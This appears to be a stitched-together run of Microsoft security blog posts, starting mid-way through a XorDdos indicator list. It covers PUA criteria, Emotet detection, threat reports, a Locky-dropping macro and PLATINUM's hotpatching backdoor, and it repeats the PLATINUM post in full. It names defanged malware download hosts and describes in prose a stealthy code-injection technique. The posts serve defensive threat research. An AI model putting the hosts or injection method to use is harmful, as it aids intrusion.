/run/gcc.pid	Text	932FEEF3AB6FCCB3502F900619B1F87E1CB44A7ADAB48F2C927ECDD67FF6830A
/usr/bin/djtctpzfdq	ELF	53F062A93CF19AEAA2F8481B32118A31B658A126624ABB8A7D82237884F0A394
/usr/bin/dmpyuitfoq	ELF	798577202477C0C233D4AF51C4D8FB2F574DDB3C9D1D90325D359A84CB1BD51C
/usr/bin/fdinprytpq	ELF	2B4500987D50A24BA5C118F506F2507362D6B5C63C80B1984B4AE86641779FF3
/usr/bin/jwvwvxoupv	ELF	359C41DA1CBAE573D2C99F7DA9EEB03DF135F018F6C660B4E44FBD2B4DDECD39
/usr/bin/kagbjahdic	ELF	E6C7EEE304DFC29B19012EF6D31848C0B5BB07362691E4E9633C8581F1C2D65B
/usr/bin/kkldnszwvq	ELF	EF0A4C12D98DC0AD4DB86AADD641389C7219F57F15642ED35B4443DAF3FF8C1E
/usr/bin/kndmhuqmah	ELF	B5FBA27A8E457C1AB6573C378171F057D151DC615D6A8D339195716FA9AC277A
/usr/bin/qkxqoelrfa	ELF	D71EA3B98286D39A711B626F687F0D3FC852C3E3A05DE3F51450FB8F7BD2B0D7
/usr/bin/sykhrxsazz	ELF	9D6F115F31EE71089CC85B18852974E349C68FAD3276145DAFD0076951F32489
/usr/bin/tcnszvmpqn	ELF	360A6258DD66A3BA595A93896D9B55D22406D02E5C02100E5A18382C54E7D5CD
/usr/bin/zalkpggsgh	ELF	DC2B1CEE161EBE90BE68561755D99E66F454AD80B27CEBE3D4773518AC45CBB7
/usr/bin/zvcarxfquk	ELF	175667933088FBEBCB62C8450993422CCC876495299173C646779A9E67501FF4
/tmp/bin/3200	ELF(rootkit)	C8F761D3EF7CD16EBE41042A0DAF901C2FDFFCE96C8E9E1FA0D422C6E31332EA

Download URLs

• www[.]enoan2107[.]com:3306
• www[.]gzcfr5axf6[.]com:3306
• hxxp://aa[.]hostasa[.]org/config.rar

Ratnesh Pandey, Yevgeny Kulakov, and Jonathan Bar Or
Microsoft 365 Defender Research Team

The post Rise in XorDdos: A deeper look at the stealthy DDoS malware targeting Linux devices appeared first on Microsoft Security Blog.

Microsoft has been investigating recent attacks by malicious actors using the Dopplepaymer ransomware. There is misleading information circulating about Microsoft Teams, along with references to RDP (BlueKeep), as ways in which this malware spreads. Our security research teams have investigated and found no evidence to support these claims. In our investigations we found that the …

Customer Guidance for the Dopplepaymer Ransomware Read More »

The post Customer Guidance for the Dopplepaymer Ransomware appeared first on Microsoft Security Response Center.

Security is a fundamental component of the trusted and productive Windows experience that we deliver to customers through modern platforms like Windows 10 and Windows 10 in S mode. As we build intelligent security technologies that protect the modern workplace, we aim to always ensure that customers have control over their devices and experiences.

To protect our customers from the latest threats, massive amounts of security signals and threat intelligence from the Microsoft Intelligent Security Graph are processed by security analysts and intelligent systems that identify malicious and other undesirable software. Our evaluation criteria describe the characteristics and behavior of malware and potentially unwanted applications and guide the proper identification of threats. This classification of threats is reflected in the protection delivered by the Windows Defender Advanced Threat Protection (Windows Defender ATP) unified endpoint security platform.

Malware: Malicious software and unwanted software

Among the big classifications of threats, customers may be most familiar with malicious software. Malicious software might steal personal information, lock devices until a ransom is paid, use devices to send spam, or download other malicious software. Examples of these types of threats are keyloggers and ransomware. Malware can get into devices through various infection vectors, including exploits, which undermine users choice and control of their devices. Windows Defender ATP’s next generation protections detect and block these malicious programs using local machine learning models, behavior-based detection, generics and heuristics, and cloud-based machine learning models and data analytics.

Some threats, on the other hand, are classified as unwanted software. These are applications that dont keep customers in control of devices through informed choices and accessible controls are considered unwanted. Examples of unwanted behavior include modifying browsing experience without using supported browser extensibility models, using alarming and coercive messages to scare customers into buying premium versions of software, and not providing a clear and straightforward way to install, uninstall or disable applications. Like malicious software, unwanted software threats are malware.

Using a model that leverages predictive technologies, machine learning, applied science, and artificial intelligence powers Windows Defender ATP to detect and stop malware at first sight, as reflected in consistently high scores in independent antivirus tests.

Potentially unwanted applications

Some applications do not exhibit malicious behavior but can adversely impact the performance or use of devices. We classify these as potentially unwanted applications (PUA). For example, we noted the increased presence of legitimate cryptocurrency miners in enterprise environments. While some forms of cryptocurrency miners are not malicious, they may not be authorized in enterprise networks because they consume computing resources.

Unlike malicious software and unwanted software, potentially unwanted applications are not malware. Enterprise security administrators can use the PUA protection feature to block these potentially unwanted applications from downloading and installing on endpoints. PUA protection is enabled by default in Windows Defender ATP when managed through System Center Configuration Manager.

In March 2018, we started surfacing PUA protection definitions on VirusTotal. We have also updated our evaluation criteria page to describe the specific categories and descriptions of software that we classify as PUA. These are:

Browser advertising software: Software that displays advertisements or promotions or prompts the user to complete surveys for other products or services in software other than itself. This includes, for example, software that inserts advertisements in browser webpages.

Torrent software: Software that is used to create or download torrents or other files specifically used with peer-to-peer file-sharing technologies.

Cryptomining software: Software that uses your computer resources to mine cryptocurrencies.

Bundling software: Software that offers to install other software that is not digitally signed by the same entity. Also, software that offers to install other software that qualify as PUA based on the criteria outlined in this document.

Marketing software: Software that monitors and transmits the activities of the user to applications or services other than itself for marketing research.

Evasion software: Software that actively tries to evade detection by security products, including software that behaves differently in the presence of security products.

Poor industry reputation: Software that trusted security providers detect with their security products. The security industry is dedicated to protecting customers and improving their experiences. Microsoft and other organizations in the security industry continuously exchange knowledge about files we have analyzed to provide users with the best possible protection.

Customer protection is our top priority. Windows Defender Advanced Threat Protection (Windows Defender ATP) incorporates next-generation protection, attack surface reduction, endpoint detection and response, and automated investigation and remediation, and advanced hunting capabilities. We adjust, expand, and update our evaluation criteria based on customer feedback as well as new and emerging trends in the threat landscape. We encourage customers to help us identify new threats and other undesirable software by submitting programs that exhibit behaviors outlined in the evaluation criteria.

 

 

Michael Johnson

Windows Defender Research

 

 

 

 

 

---

Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community and Windows Defender Security Intelligence.

Follow us on Twitter @WDSecurity and Facebook Windows Defender Security Intelligence.

At 12:46 a.m. local time on February 3, a Windows 7 Pro customer in North Carolina became the first would-be victim of a new malware attack campaign for Trojan:Win32/Emotet. In the next 30 minutes, the campaign tried to attack over a thousand potential victims, all of whom were instantly and automatically protected by Windows Defender AV.

How did Windows Defender AV uncover the newly launched attack and block it at the outset? Through layered machine learning, including use of both client-side and cloud machine learning (ML) models. Every day, artificial intelligence enables Windows Defender AV to stop countless malware outbreaks in their tracks. In this blog post, well take a detailed look at how the combination of client and cloud ML models detects new outbreaks.

Figure 1. Layered detected model in Windows Defender AV

Client machine learning models

The first layer of machine learning protection is an array of lightweight ML models built right into the Windows Defender AV client that runs locally on your computer. Many of these models are specialized for file types commonly abused by malware authors, including, JavaScript, Visual Basic Script, and Office macro. Some models target behavior detection, while other models are aimed at detecting portable executable (PE) files (.exe and .dll).

In the case of the Emotet outbreak on February 3, Windows Defender AV caught the attack using one of the PE gradient boosted tree ensemble models. This model classifies files based on a featurization of the assembly opcode sequence as the file is emulated, allowing the model to look at the files behavior as it was simulated to run.

Figure 2. A client ML model classified the Emotet outbreak as malicious based on emulated execution opcode machine learning model.

The tree ensemble was trained using LightGBM, a Microsoft open-source framework used for high-performance gradient boosting.

Figure 3a. Visualization of the LightBGM-trained client ML model that successfully classified Emotet’s emulation behavior as malicious. A set of 20 decision trees are combined in this model to classify whether the files emulated behavior sequence is malicious or not.

Figure 3b. A more detailed look at the first decision tree in the model. Each decision is based on the value of a different feature. Green triangles indicate weighted-clean decision result; red triangles indicate weighted malware decision result for the tree.

When the client-based machine learning model predicts a high probability of maliciousness, a rich set of feature vectors is then prepared to describe the content. These feature vectors include:

• Behavior during emulation, such as API calls and executed code
• Similarity fuzzy hashes
• Vectors of content descriptive flags optimized for use in ML models
• Researcher-driven attributes, such as packer technology used for obfuscation
• File name
• File size
• Entropy level
• File attributes, such as number of sections
• Partial file hashes of the static and emulated content

This set of features form a signal sent to the Windows Defender AV cloud protection service, which runs a wide array of more complex models in real-time to instantly classify the signal as malicious or benign.

Real-time cloud machine learning models

Windows Defender AVs cloud-based real-time classifiers are powerful and complex ML models that use a lot of memory, disk space, and computational resources. They also incorporate global file information and Microsoft reputation as part of the Microsoft Intelligent Security Graph (ISG) to classify a signal. Relying on the cloud for these complex models has several benefits. First, it doesnt use your own computers precious resources. Second, the cloud allows us to take into consideration the global information and reputation information from ISG to make a better decision. Third, cloud-based models are harder for cybercriminals to evade. Attackers can take a local client and test our models without our knowledge all day long. To test our cloud-based defenses, however, attackers have to talk to our cloud service, which will allow us to react to them.

The cloud protection service is queried by Windows Defender AV clients billions of times every day to classify signals, resulting in millions of malware blocks per day, and translating to protection for hundreds of millions of customers. Today, the Windows Defender AV cloud protection service has around 30 powerful models that run in parallel. Some of these models incorporate millions of features each; most are updated daily to adapt to the quickly changing threat landscape. All together, these classifiers provide an array of classifications that provide valuable information about the content being scanned on your computer.

Classifications from cloud ML models are combined with ensemble ML classifiers, reputation-based rules, allow-list rules, and data in ISG to come up with a final decision on the signal. The cloud protection service then replies to the Windows Defender client with a decision on whether the signal is malicious or not all in a fraction of a second.

Figure 4. Windows Defender AV cloud protection service workflow.

In the Emotet outbreak, one of our cloud ML servers in North America received the most queries from customers; corresponding to where the outbreak began. At least nine real-time cloud-based ML classifiers correctly identified the file as malware. The cloud protection service replied to signals instructing the Windows Defender AV client to block the attack using two of our ML-based threat names, Trojan:Win32/Fuerboos.C!cl and Trojan:Win32/Fuery.A!cl.

This automated process protected customers from the Emotet outbreak in real-time. But Windows Defender AVs artificial intelligence didnt stop there.

Deep learning on the full file content

Automatic sample submission, a Windows Defender AV feature, sent a copy of the malware file to our backend systems less than a minute after the very first encounter. Deep learning ML models immediately analyzed the file based on the full file content and behavior observed during detonation. Not surprisingly, deep neural network models identified the file as a variant of Trojan:Win32/Emotet, a family of banking Trojans.

While the ML classifiers ensured that the malware was blocked at first sight, deep learning models helped associate the threat with the correct malware family. Customers who were protected from the attack can use this information to understand the impact the malware might have had if it were not stopped.

Additionally, deep learning models provide another layer of protection: in relatively rare cases where real-time classifiers are not able to come to a conclusive decision about a file, deep learning models can do so within minutes. For example, during the Bad Rabbit ransomware outbreak, Windows Defender AV protected customers from the new ransomware just 14 minutes after the very first encounter.

Intelligent real-time protection against modern threats

Machine learning and AI are at the forefront of the next-gen real-time protection delivered by Windows Defender AV. These technologies, backed by unparalleled optics into the threat landscape provided by ISG as well as world-class Windows Defender experts and researchers, allow Microsoft security products to quickly evolve and scale to defend against the full range of attack scenarios.

Cloud-delivered protection is enabled in Windows Defender AV by default. To check that its running, go to Windows Settings > Update & Security > Windows Defender. Click Open Windows Defender Security Center, then navigate to Virus & threat protection > Virus &threat protection settings, and make sure that Cloud-delivered protection and Automatic sample submission are both turned On.

In enterprise environments, the Windows Defender AV cloud protection service can be managed using Group Policy, System Center Configuration Manager, PowerShell cmdlets, Windows Management Instruction (WMI), Microsoft Intune, or via the Windows Defender Security Center app.

The intelligent real-time defense in Windows Defender AV is part of the next-gen security technologies in Windows 10 that protect against a wide spectrum of threats. Of particular note, Windows 10 S is not affected by this type of malware attack. Threats like Emotet wont run on Windows 10 S because it exclusively runs apps from the Microsoft Store. Learn more about Windows 10 S. To know about all the security technologies available in Windows 10, read Microsoft 365 security and management features available in Windows 10 Fall Creators Update.

 

Geoff McDonald, Windows Defender Research
with Randy Treit and Allan Sepillo

 

 

---

Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community and Windows Defender Security Intelligence.

Follow us on Twitter @WDSecurity and Facebook Windows Defender Security Intelligence.

Security professionals know there’s no silver bullet to achieve perfect security—the volume and magnitude of cyber threats vary considerably depending on country and threat type. For example, during the second half of 2015 (2H15), encounter rates for some types of threats in Russia and Brazil were nearly three times the worldwide average. Of the ten most commonly encountered threat families in Russia in 2H15, five were trojans, including Win32/Peals, Win32/Skeeyah, Win32/Dynamer, and Win32/Spursint. And in Brazil, Suptab and the downloader/dropper families Win32/Sventore and Win32/Banload topped the threat list.

To help track the constantly shifting security terrain and meet demand for insights, twice each year Microsoft publishes the Security Intelligence Report (SIR), a comprehensive security analysis based on data we collect from around the world. The latest findings were published in May.

A relative look at the worldwide prevalence of malware

The current SIR gives an overarching view of the security situation around the world during the second half of 2015. It also provides more granular details to help you understand specific threats facing the areas you are concerned about right now.

Here are some of the country-specific malware patterns described in the SIR:

• France and Italy both had high encounter rates for Browser Modifiers, led by Win32/SupTab and Win32/Diplugem.
• Russia had a significantly higher encounter rate for Trojans than the other locations listed, led by Win32/Peals, Win32/Skeeyah, Win32/Dynamer, and Win32/Spursint; all four Trojans disproportionately affected computers in Russia and eastern Europe in the fourth quarter of 2015.
• Worms were particularly prevalent in Brazil, led by VBS/Jenxcus, Win32/Gamarue, and JS/Bondat.
• The highest encounter rates for adware were in Brazil, France, and Italy; Win32/EoRezo was the most commonly encountered adware family in all three locations.
• Viruses were particularly prevalent in China, led by DOS/JackTheRipper and Win32/Ramnit.

The following table previews regarding the relative prevalence of various categories of malware in several locations around the world in the fourth quarter of 2015. Here are some tips for interpreting the findings:

• Within each row, darker colors indicate more prevalent categories in each location.
• Lighter colors signify that the threat category is less common.
• The locations are arranged by the number of computers that reported threat detections during the second half of 2015.

Read the full report to learn more about security threats in your region and better understand what location-specific factors may affect your ability to create a secure environment for your organization.

Factors that cause high cybersecurity infection rates

Threat dissemination can be highly dependent on language and socioeconomic factors. In addition, distribution methods can play a considerable role. For instance:

• Attackers frequently use techniques that target people based on their native language.
• For threat vectors, attackers employ online services that are local to a specific geographic region.
• In some situations, attackers target vulnerabilities or operating system configurations and applications that show up disproportionately in a given location.

Microsoft’s commitment to ongoing cybersecurity analysis

We are committed to help reduce cyber threat infection rates on a regional and global scale. The SIR is just one aspect of this work. Through the regularly updated insights it allows, we aim to help inform policymakers and IT professionals about malware trends, and arm them to act accordingly.

We encourage you to evaluate your security stance in the light of our latest SIR report, so you can help defend your organization against the most significant risks it faces.

Visit www.microsoft.com/security/sir today to discover the security risks that threaten your organization. To learn more about Microsoft’s Security products visit us at Microsoft Secure.

Global cyber threat patterns are a constantly moving target. But there are ways organizations can stay ahead of threats. Beginning in 2006, Microsoft took on systematic study of the ever-shifting security landscape, and we share our latest findings twice each year in our Security Intelligence Report (SIR).

While cyber threats grow more sophisticated, our goal is simple: to help customers understand the many different types of factors that can influence malware infection rates in different parts of the world. We do this because we believe knowledge is power, and our work to partner with policymakers and IT professionals to help keep them apprised of malware trends can help make not only specific regions but also the world safer for people, business, and governments.

To help you prioritize mitigations, including training people to identify cyber threats, we believe the place to start is to understand the current threats your organization is most likely to experience. Currently, that means understanding the growing risk presented by a malware category known as Trojans.

Trojan exploits proliferated in 2015

Trojans, like worms and viruses, are among the most widespread categories of threats Microsoft detects. Between the second and third quarters of 2015, our research and analysis showed that encounters involving Trojans increased by fifty-seven percent and stayed elevated through the end of the year.

In the second half of 2015, Trojans accounted for five of the top ten malware families encountered by Microsoft real-time antimalware products. The increase was due in large part to Trojans known as Win32/Peals, Win32/Skeeyah, Win32/Colisi, and Win32/Dynamer. In addition, a pair of newly detected Trojans, Win32/Dorv and Win32/Spursint, helped account for the elevated threat level.

Server platforms at greater risk from Trojans

Overall, unwanted software was encountered significantly more often on client platforms than on server platforms. However, Trojans were used against server platforms slightly more than they were used against client platforms.

During the course of 2015, our data analysis uncovered the following:

• During the fourth quarter of 2015, Trojans accounted for three of the top ten malware and unwanted software families most commonly encountered on supported Windows client platforms
• Also during the fourth quarter of 2015, 4 of the top 10 malware and unwanted software families most commonly encountered on supported Windows server platforms were categorized as Trojans

As these examples suggest, malware doesn’t affect all platforms equally. The reasons for this vary. For instance, some exploits may have no effect on some operating system versions. In addition, in areas where specific platforms are more or less popular than elsewhere, some types of threats are just more common. In some cases, simple random variation may cause differences between platforms.

How Trojans work

Like the famous Trojan horse in Homer’s Odyssey, software Trojans hide inside something end users want, such as a work file or social media video. Through this type of social engineering, attackers get people to install malware on their system or lower security settings.

Two common Trojans work as follows:

• Backdoor Trojans provide attackers with remote unauthorized access to and control of infected computers
• Downloaders/droppers are Trojans that install other malicious files to a computer they have infected, either by downloading them from a remote computer or by obtaining them directly from copies contained in their own code

Mitigating the Trojan threat

Armed with knowledge about the ways top Trojans in your area of the world work can help give you the upper hand when it comes to protecting your organization. For example, be sure to educate your workforce about common Trojan tricks, such as “clickbait” – fake web headlines with provocative titles – and spoofed emails. In addition, encourage the people in your organization to use personal devices for social media and web surfing instead of using devices connected to your corporate network.

To understand security threats in your region or view the current or previous editions of the SIR, visit www.microsoft.com/security/sir.  To learn more about Security at Microsoft, visit us at Microsoft Secure.

We recently came across a file (ORDER-549-6303896-2172940.docm, SHA1: 952d788f0759835553708dbe323fd08b5a33ec66) containing a VBA project that scripts a malicious macro (SHA1: 73c4c3869304a10ec598a50791b7de1e7da58f36). We added it under the detection TrojanDownloader:O97M/Donoff – a large family of Office-targeting macro-based malware that has been active for several years (see our blog category on macro-based malware for more blogs).

However, there wasn’t an immediate, obvious identification that this file was actually malicious. It’s a Word file that contains seven VBA modules and a VBA user form with a few buttons (using the CommandButton elements).

 

The VBA modules look like legitimate SQL programs powered with a macro; no malicious code found there … However, after further investigation we noticed a strange string in the Caption field for CommandButton3 in the user form.

It appeared to be some sort of encrypted string.

We went back and reviewed the other modules in the file, and sure enough – there’s something unusual going on in Module2. A macro there (UsariosConectados) decrypts the string in the Caption field for CommandButton3, which turns out to be a URL. It uses the deault autoopen() macro to run the entire VBA project when the document is opened.

 

The macro will connect to the URL (hxxp://clickcomunicacion.es/<uniqueid>) to download a payload which we detect as Ransom:Win32/Locky (SHA1: b91daa9b78720acb2f008048f5844d8f1649a5c4).

The VBA project (and, therefore, the macro) will automatically run if the user enables macros when opening the file – our strongest suggestion for the prevention of Office-targeting macro-based malware is to only enable macros if you wrote the macro yourself, or completely trust and know the person who wrote it.

See our threat intelligence report on macros and our macro-based malware page for further guidance on preventing and recovering from these types of attacks.

-Marianne Mallen and Wei Li
MMPC

There is no shortage of headlines about cybercriminals launching large-scale attacks against organizations. For us, the activity groups that pose the most danger are the ones who selectively target organizations and desire to stay undetected, protect their investment, and maximize their ROI. That’s what motivated us – the Windows Defender Advanced Threat Hunting team, known as hunters – when we recently discovered a novel technique being used by one such activity group.

We have code named this group PLATINUM, following our internal practice of assigning rogue actors chemical element names. Based on our investigations, we know PLATINUM has been active since 2009 and primarily targets governmental organizations, defense institutes, intelligence agencies, and telecommunication providers in South and Southeast Asia. The group has gone to great lengths to develop covert techniques that allow them to conduct cyber-espionage campaigns for years without being detected.

Uncovering these kinds of techniques is true detective work, and finding them in the wild is a challenge, but with the wealth of anonymized information we can utilize from over 1 billion Windows devices, a broad spectrum of services, Microsoft’s intelligent security graph as well as advanced analytics and machine algorithms to surface suspicious behaviors, Microsoft is in the best position to do so.

Digging up the nugget

Through our advanced and persistent hunting, we discovered PLATINUM is using hotpatching as a technique to attempt to cloak a backdoor they use. Using hotpatching in the malicious context has been theorized ^{[1], [2]}, but has not been observed in the wild before. Finding such techniques is a focus of the Microsoft APT hunter team, and we want to provide some brief insights on how the team dug up this PLATINUM “nugget”.

In the first part of this methodology, a hunter carves out some rough data sets from existing information and data that can be further analyzed. This could be based on rough heuristics, such as looking for files with high entropy, that were first observed recently, and that are confined to a geographic region that fits the profile of the activity group being investigated.

Carving the data still yields large data sets that can’t be manually analyzed, and advanced threat analytics can help in sorting through the data for meaningful information in the second step. Graph inferences through the Microsoft intelligent security graph can bubble pieces of information to the top of the queue for a hunter to choose from. In the PLATINUM investigation, we identified 31 files.

Lastly, the hunter works directly with the resulting set. During this stage of the PLATINUM investigation, a hunter found a file with unusual string (“.hotp1”). The hunter’s experience and intuition drove him to dig deeper. In this case, that further investigation led us to the malicious use of hotpatching by this activity group and the “nugget” was uncovered.

Deconstructing the attack

So what is hotpatching? Hotpatching is a previously supported OS feature for installing updates without having to reboot or restart a process. It requires administrator-level permissions, and at a high level, a hotpatcher can transparently apply patches to executables and DLLs in actively running processes.

Using hotpatching in a malicious context is a technique that can be used to avoid being detected, as many antimalware solutions monitor non-system processes for regular injection methods, such as CreateRemoteThread. Hotpatching originally shipped with Windows Server 2003 and was used to ship 10 patches to Windows Server 2003. Windows 10, our most secure operating system ever, is not susceptible to this and many other techniques and attack vectors.

What this means in practical terms is that PLATINUM was able to abuse this feature to hide their backdoor from the behavioral sensors of many host security products. We first observed a sample employing the hotpatching technique on a machine in Malaysia. This allowed PLATINUM to gain persistent access to the networks of companies it targeted and victimized over a long period without being detected.

Thwarting the bad guys

The Microsoft APT hunter team actively tracks activity groups like PLATINUM. We proactively identify these groups and the techniques they use and work to address vulnerabilities and implement security mitigations. The team builds detections and threat intelligence that are utilized by many of our products and services. Beta users of Windows Defender ATP can take advantage of this additional layer of protection and intelligence for a broad set of activity groups.

We’ve included a more technical exploration of  our research and detection of the hotpatching technique in the remainder of this blog.

You can also see a closer look at the PLATINUM activity group in our report PLATINUM: Targeted attacks in South and Southeast Asia. Windows Defender Advanced Threat Protection beta and preview users can also find the report, along with other APT activity group reports, in the Windows Defender ATP portal.

We continue to dig for PLATINUM.

The Windows Defender Advanced Threat Hunting Team

Hotpatching – a case study

We first observed the sample (Sample1) that is capable of utilizing hotpatching on a machine in Malaysia (which matches the general target profile of PLATINUM) on January 28, 2016 . The portable executable (PE) timestamp, which can be arbitrarily set by the adversary, dates back to August 9, 2015, while the unpacked version contains a PE timestamp for November 26, 2015.

It is a DLL that runs as a service and serves as an injector component of a backdoor. Interestingly, this sample not only supported the hotpatching technique described in this post, but was able to apply more common code-injection techniques, including the following, into common Windows processes (primarily targeting winlogon.exe, lsass.exe and svchost.exe):

• CreateRemoteThread
• NtQueueApcThread to run an APC in a thread in the target process
• RtlCreatUserThread
• NtCreateThreadEx

Hotpatching technique

For hotpatching, the sample goes through the following steps:

1. It patches the loader with a proper hotpatch to treat injected DLLs with execute page permissions. This step is required for DLLs loaded from memory (in an attempt to further conceal the malicious code).
2. The backdoor is injected into svchost using the hotpatch API.

Patching the loader is done by creating a section named “knowndllsmstbl.dll”. This DLL does not reside on-disk, but is rather treated as a cached DLL by the session manager.

It then proceeds to write a PE file within that section. The PE file will have one section (“.hotp1 “) with the hotpatch header structure. This structure contains all the information necessary to perform the patching of the function “ntdll!LdrpMapViewOfSection” used by the loader, such that the loader will treat created sections as PAGE_EXECUTE_READWRITE instead of PAGE_READWRITE. The patch is successfully applied by invoking NtSetSystemInformation.

 

Now that the memory permission issue has been solved, the injector can proceed with injecting the malicious DLL into svchost. Again, it creates a (now executable) section named “knowndllsfgrps.dll” and invokes NtSetSystemInformation, causing the final payload to be loaded and executed within the target process (svchost).

Trying to hide the payload using hotpatching also falls in line with the last functional insights we have on the sample. It seems to have an expiry date of January 15, 2017 – at that point in time, the DLL will no longer perform the injection, but rather execute another PLATINUM implant:

C:program filesWindows JournalTemplatesCpljnwmon.exe –ua

This implant may be related to an uninstall routine. Note that we observed the sample last on the machine on September 3, 2015, which may indicate PLATINUM pulled the trigger earlier.

 

---

 

[1] http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Sotirov.pdf

[2] https://www.yumpu.com/en/document/view/14255220/alexsyscan13

There is no shortage of headlines about cybercriminals launching large-scale attacks against organizations. For us, the activity groups that pose the most danger are the ones who selectively target organizations and desire to stay undetected, protect their investment, and maximize their ROI. That’s what motivated us – the Windows Defender Advanced Threat Hunting team, known as hunters – when we recently discovered a novel technique being used by one such activity group.

We have code named this group PLATINUM, following our internal practice of assigning rogue actors chemical element names. Based on our investigations, we know PLATINUM has been active since 2009 and primarily targets governmental organizations, defense institutes, intelligence agencies, and telecommunication providers in South and Southeast Asia. The group has gone to great lengths to develop covert techniques that allow them to conduct cyber-espionage campaigns for years without being detected.

Uncovering these kinds of techniques is true detective work, and finding them in the wild is a challenge, but with the wealth of anonymized information we can utilize from over 1 billion Windows devices, a broad spectrum of services, Microsoft’s intelligent security graph as well as advanced analytics and machine algorithms to surface suspicious behaviors, Microsoft is in the best position to do so.

Digging up the nugget

Through our advanced and persistent hunting, we discovered PLATINUM is using hotpatching as a technique to attempt to cloak a backdoor they use. Using hotpatching in the malicious context has been theorized ^{[1], [2]}, but has not been observed in the wild before. Finding such techniques is a focus of the Microsoft APT hunter team, and we want to provide some brief insights on how the team dug up this PLATINUM “nugget”.

In the first part of this methodology, a hunter carves out some rough data sets from existing information and data that can be further analyzed. This could be based on rough heuristics, such as looking for files with high entropy, that were first observed recently, and that are confined to a geographic region that fits the profile of the activity group being investigated.

Carving the data still yields large data sets that can’t be manually analyzed, and advanced threat analytics can help in sorting through the data for meaningful information in the second step. Graph inferences through the Microsoft intelligent security graph can bubble pieces of information to the top of the queue for a hunter to choose from. In the PLATINUM investigation, we identified 31 files.

Lastly, the hunter works directly with the resulting set. During this stage of the PLATINUM investigation, a hunter found a file with unusual string (“.hotp1”). The hunter’s experience and intuition drove him to dig deeper. In this case, that further investigation led us to the malicious use of hotpatching by this activity group and the “nugget” was uncovered.

Deconstructing the attack

So what is hotpatching? Hotpatching is a previously supported OS feature for installing updates without having to reboot or restart a process. It requires administrator-level permissions, and at a high level, a hotpatcher can transparently apply patches to executables and DLLs in actively running processes.

Using hotpatching in a malicious context is a technique that can be used to avoid being detected, as many antimalware solutions monitor non-system processes for regular injection methods, such as CreateRemoteThread. Hotpatching originally shipped with Windows Server 2003 and was used to ship 10 patches to Windows Server 2003. Windows 10, our most secure operating system ever, is not susceptible to this and many other techniques and attack vectors.

What this means in practical terms is that PLATINUM was able to abuse this feature to hide their backdoor from the behavioral sensors of many host security products. We first observed a sample employing the hotpatching technique on a machine in Malaysia. This allowed PLATINUM to gain persistent access to the networks of companies it targeted and victimized over a long period without being detected.

Thwarting the bad guys

The Microsoft APT hunter team actively tracks activity groups like PLATINUM. We proactively identify these groups and the techniques they use and work to address vulnerabilities and implement security mitigations. The team builds detections and threat intelligence that are utilized by many of our products and services. Beta users of Windows Defender ATP can take advantage of this additional layer of protection and intelligence for a broad set of activity groups.

We’ve included a more technical exploration of  our research and detection of the hotpatching technique in the remainder of this blog.

You can also see a closer look at the PLATINUM activity group in our report PLATINUM: Targeted attacks in South and Southeast Asia. Windows Defender Advanced Threat Protection beta and preview users can also find the report, along with other APT activity group reports, in the Windows Defender ATP portal.

We continue to dig for PLATINUM.

The Windows Defender Advanced Threat Hunting Team

Hotpatching – a case study

We first observed the sample (Sample1) that is capable of utilizing hotpatching on a machine in Malaysia (which matches the general target profile of PLATINUM) on January 28, 2016 . The portable executable (PE) timestamp, which can be arbitrarily set by the adversary, dates back to August 9, 2015, while the unpacked version contains a PE timestamp for November 26, 2015.

It is a DLL that runs as a service and serves as an injector component of a backdoor. Interestingly, this sample not only supported the hotpatching technique described in this post, but was able to apply more common code-injection techniques, including the following, into common Windows processes (primarily targeting winlogon.exe, lsass.exe and svchost.exe):

• CreateRemoteThread
• NtQueueApcThread to run an APC in a thread in the target process
• RtlCreatUserThread
• NtCreateThreadEx

Hotpatching technique

For hotpatching, the sample goes through the following steps:

1. It patches the loader with a proper hotpatch to treat injected DLLs with execute page permissions. This step is required for DLLs loaded from memory (in an attempt to further conceal the malicious code).
2. The backdoor is injected into svchost using the hotpatch API.

Patching the loader is done by creating a section named “knowndllsmstbl.dll”. This DLL does not reside on-disk, but is rather treated as a cached DLL by the session manager.

It then proceeds to write a PE file within that section. The PE file will have one section (“.hotp1 “) with the hotpatch header structure. This structure contains all the information necessary to perform the patching of the function “ntdll!LdrpMapViewOfSection” used by the loader, such that the loader will treat created sections as PAGE_EXECUTE_READWRITE instead of PAGE_READWRITE. The patch is successfully applied by invoking NtSetSystemInformation.

 

Now that the memory permission issue has been solved, the injector can proceed with injecting the malicious DLL into svchost. Again, it creates a (now executable) section named “knowndllsfgrps.dll” and invokes NtSetSystemInformation, causing the final payload to be loaded and executed within the target process (svchost).

Trying to hide the payload using hotpatching also falls in line with the last functional insights we have on the sample. It seems to have an expiry date of January 15, 2017 – at that point in time, the DLL will no longer perform the injection, but rather execute another PLATINUM implant:

C:program filesWindows JournalTemplatesCpljnwmon.exe –ua

This implant may be related to an uninstall routine. Note that we observed the sample last on the machine on September 3, 2015, which may indicate PLATINUM pulled the trigger earlier.

 

---

 

[1] http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Sotirov.pdf

[2] https://www.yumpu.com/en/document/view/14255220/alexsyscan13

As part of our ongoing effort to provide better malware protection, the March release of the Microsoft Malicious Software Removal Tool (MSRT) will include detections for Vonteera – a family of browser modifiers, and Fynloski – a family of backdoor trojans. In this blog, we’ll focus on the Vonteera family of browser modifiers.

BrowserModifier:Win32/Vonteera

We first detected BrowserModifier:Win32/Vonteera in August 2013, and the numbers have been pretty big; during the past six months, we’ve had over eight million detections. Encounters have been distributed among the following countries and regions:

We classify Vonteera as unwanted software because it violates the following objective criteria:

• Lack of choice – the threat circumvents user consent dialogs from the browser or operating system. It installs, reinstalls, or removes software without your permission, interaction, or consent.
• Lack of control – the threat prevents or limits you from viewing or modifying browser features or settings.
• Installation and removal – the threat fails to use standard install/uninstall features, such as Add/Remove Programs.

Vonteera is usually distributed by software bundlers that offer free applications or games.

Once installed on your PC, it modifies your homepage and changes your search provider.

It uses Group Policy to install a plug-in into the following browsers in an effort to make it difficult to remove:

• Google Chrome
• Internet Explorer
• Mozilla Firefox

This makes it more difficult to change the browser settings and remove the added Vonteera plug-in through the Manage Add-ons settings.

More recent versions of Vonteera began adding legitimate certificates that belong to a number of security and antimalware products to the untrusted certificates list that the Windows operating system maintains, which forces Windows to not trust legitimate security and antimalware products. This means that if Vonteera is present on your PC, you might not be able to run your security software.

It also runs a service, so even if you try to delete these certificates from the untrusted list, Vonteera just adds them back to this list, so you still might not be able to run your security software.​

Our malware encyclopedia entry for Win32/Vonteera has more details about this malware family.

